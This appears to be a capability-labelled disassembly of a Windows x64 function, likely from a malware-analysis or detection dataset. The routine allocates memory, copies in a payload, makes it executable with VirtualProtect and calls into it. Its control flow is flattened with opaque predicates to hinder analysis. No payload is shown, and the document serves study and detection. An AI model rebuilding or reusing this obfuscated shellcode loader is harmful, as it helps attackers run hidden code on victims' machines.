Function at 0x180003770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rax, qword [0x18000a128]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x18000a15c]
mov ebx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp - 1]
cmp ebx, 0xa
setl byte [rbp - 2]
mov qword [rbp - 0x50], rcx
mov dword [rbp - 0x24], edx
mov eax, edx
mov qword [rbp - 0x48], rax
mov eax, 0xcb9e08be
lea rsi, str.Failed_to_set_memory_protection
lea rdi, str.Error
mov r12, qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 0xb2d8076e
mov ebx, 0xc442d199
mov r13d, 0xbef9f6ff
jmp 0x18000381d
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6255d58a
mov ecx, 0xc552e84b
nop word [rax + rax]
cmove eax, ecx
cmp dword [0x18000a160], 0xa
cmovl eax, ecx
cmp eax, 0x9056736
jg 0x180003860
cmp eax, 0xc193f062
jg 0x180003900
cmp eax, 0xa23bee78
jle 0x1800039b3
cmp eax, 0xb2d8076d
jg 0x180003aa4
cmp eax, 0xa23bee79
je 0x180003b4b
cmp eax, 0xa6730f41
jne 0x18000381d
mov eax, 0x69f010d7
jmp 0x18000381d
cmp eax, 0x3c6279df
jle 0x180003960
cmp eax, 0x52e66692
jle 0x1800039de
cmp eax, 0x6255d589
jg 0x180003ad8
cmp eax, 0x52e66693
je 0x180003b63
cmp eax, 0x53ad47ed
jne 0x18000381d
mov r15, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, r15
lea rdx, str.Check_size:__lu_bytes
mov r8d, dword [rbp - 0x24]
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
mov rdx, r15
lea r8, str.my_payload_len
mov r9d, 0x40
call r12
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp - 0x20]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x10], rax
mov eax, 0x52e66693
jmp 0x18000381d
cmp eax, 0xcb9e08bd
jle 0x180003a0d
cmp eax, 0xe3ece82e
jg 0x180003b16
cmp eax, 0xcb9e08be
je 0x180003b89
cmp eax, 0xe369fa9a
jne 0x18000381d
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x58], rax
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x33f8ce40
mov ecx, 0x99e5c33c
jmp 0x180003810
cmp eax, 0x1cfffe56
jle 0x180003a65
cmp eax, 0x33f8ce3f
jle 0x180003b36
cmp eax, 0x33f8ce40
je 0x180003ba8
cmp eax, 0x37496972
jne 0x18000381d
sub rsp, 0x20
xor ecx, ecx
lea rdx, str.Failed_to_allocate_memory
mov r8, rdi
mov r9d, 0x10
call r12
add rsp, 0x20
mov eax, 0x1cfffe57
jmp 0x18000381d
cmp eax, 0x8c06930f
je 0x180003bb6
cmp eax, 0x900105d3
je 0x1800037ee
cmp eax, 0x99e5c33c
jne 0x18000381d
mov eax, 0xa23bee79
jmp 0x18000381d
cmp eax, 0x3c6279e0
je 0x180003bc0
cmp eax, 0x3eb268e0
je 0x180003bce
cmp eax, 0x470fdc0a
jne 0x18000381d
mov rax, qword [rbp - 0x10]
mov eax, 0xc442d199
jmp 0x18000381d
cmp eax, 0xc193f063
je 0x180003c40
cmp eax, 0xc442d199
je 0x180003c56
cmp eax, 0xc552e84b
jne 0x18000381d
sub rsp, 0x20
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x10
call r12
add rsp, 0x20
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6255d58a
mov ecx, 0xa6730f41
jmp 0x180003810
cmp eax, 0x9056737
je 0x180003c7d
cmp eax, 0x12f3613b
je 0x180003ca0
cmp eax, 0x168d7994
jne 0x18000381d
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x33f8ce40
mov ecx, 0xe369fa9a
jmp 0x180003810
cmp eax, 0xb2d8076e
je 0x180003caa
cmp eax, 0xbef9f6ff
jne 0x18000381d
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x12f3613b
mov ecx, 0x8c06930f
jmp 0x180003810
cmp eax, 0x6255d58a
je 0x180003cb4
cmp eax, 0x69f010d7
jne 0x18000381d
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x12f3613b
cmove eax, r13d
cmp dword [0x18000a160], 0xa
cmovl eax, r13d
jmp 0x18000381d
cmp eax, 0xe3ece82f
je 0x180003cd7
cmp eax, 0x15c52da
jne 0x18000381d
mov eax, 0x3eb268e0
jmp 0x18000381d
cmp eax, 0x1cfffe57
jne 0x180003d0b
mov eax, 0x3c6279e0
jmp 0x18000381d
mov rax, qword [rbp - 0x58]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, 0x3c6279e0
jmp 0x18000381d
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x470fdc0a
cmove eax, ebx
cmp dword [0x18000a160], 0xa
cmovl eax, ebx
jmp 0x18000381d
movzx ecx, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0x15c52da
mov edx, 0x3eb268e0
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x18000381d
mov rax, qword [rbp - 0x10]
mov eax, 0xe369fa9a
jmp 0x18000381d
mov eax, 0x3c6279e0
jmp 0x18000381d
mov rax, qword [rbp - 0x40]
mov eax, 0x2940be2d
jmp 0x18000381d
mov eax, 0x10
call fcn.180006480
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x190
call fcn.180006480
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp - 0x18]
mov dword [rax], 0
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x15c52da
cmove eax, r14d
cmp dword [0x18000a160], 0xa
cmovl eax, r14d
jmp 0x18000381d
cmp byte [rbp - 3], 0
mov eax, 0x9056737
mov ecx, 0x37496972
cmovne eax, ecx
jmp 0x18000381d
cmp qword [rbp - 0x10], 0
sete byte [rbp - 3]
mov eax, dword [0x18000a15c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x470fdc0a
mov ecx, 0xc193f063
jmp 0x180003810
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
mov rdx, qword [rbp - 0x50]
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov eax, 0xe3ece82f
jmp 0x18000381d
mov eax, 0xbef9f6ff
jmp 0x18000381d
mov eax, 0x53ad47ed
jmp 0x18000381d
sub rsp, 0x20
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x10
call r12
add rsp, 0x20
mov eax, 0xc552e84b
jmp 0x18000381d
mov r9, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
test eax, eax
mov eax, 0x168d7994
mov ecx, 0x900105d3
cmove eax, ecx
jmp 0x18000381d
cmp eax, 0x2940be2d
jne 0x18000381d
mov rax, qword [rbp - 0x38]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800064e0
nop
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret